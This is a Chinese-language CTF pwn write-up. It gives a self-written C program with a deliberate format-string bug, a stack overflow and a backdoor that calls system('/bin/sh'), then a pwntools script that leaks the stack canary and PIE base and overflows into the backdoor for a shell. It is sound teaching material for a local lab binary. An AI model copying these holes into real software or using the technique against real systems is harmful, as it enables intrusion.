一个自己写的pwn题,因为C太菜所以挂上去后没法做= =,索性发出来让大家本地编译着玩玩
废话不多说,直接进入正题
#include<stdio.h>
#include<stdlib.h>
void sysbin(){
system("/bin/sh");
}
int main(){
char buf[50];
char ap[20];
printf("Please input yor name:");
scanf("%s",ap);
printf(ap);
printf(",Welcome! Please input your passwd:\n");
read(0,&buf,100);
printf("Error! Try again!!!");
return 0;
}
编译:gcc *.c -o *
之后是流程:
编译后常规checksec一波
保护全开,再运行一下程序
最后再看一手plt,rodata和text,bss
(编者因为ida炸了因此只能先用objdump…)
.text,lea了IO +0x8作为参数
rodata,IO_stdin_userd + 0x8就是/bin/sh
bss为空
main,搭配rodata和运行结果可简单推算出流程
通过这一波分析,不难看出来在0x86a有个栈溢出,加上格式化字符串,想必是要用printf溢出canary值,再通过栈溢出执行后门函数
gdb调试一下
往下数数,很容易就知道了canary的位置(%17$p)
不过只知道canary显然是不够的,这个程序可还开着PIE呢
不过仔细看看栈信息
这不就是main地址么?
经过反复的调试,确认这个溢出点很稳定后,就可以开始写payload了:
import re
from pwn import *
ap = process('./apea')
#context.log_level='debug'
main_sym = 0x80d
sysbin_sym = 0x7fa
ret_sym = 0x924
canval = "%17$p"
main_leak = "%23$p"
payload1 = main_leak + canval + "\xab" #添加\xab为正则匹配设立结尾
ap.sendline(payload1)
recv = ap.recv()
mainaddr = re.findall('0x.*0x',recv)[0][:-2]
canval = re.findall("0x.*\xab",recv)[0][len(mainaddr):-1]
mainaddr = int(mainaddr,16)
canval = int(canval,16)
base_addr = mainaddr - main_sym
sysbin_addr = sysbin_sym + base_addr
ret_addr = base_addr + ret_sym
print("sysbin_addr-> %s" % (hex(sysbin_addr)))
print("canary_val-> %s" % (hex(canval)))
payload2 = 'a'*(0x40-8) + p64(canval) + p64(0) + p64(ret_addr) + p64(sysbin_addr)
ap.sendline(payload2)
ap.interactive()
完成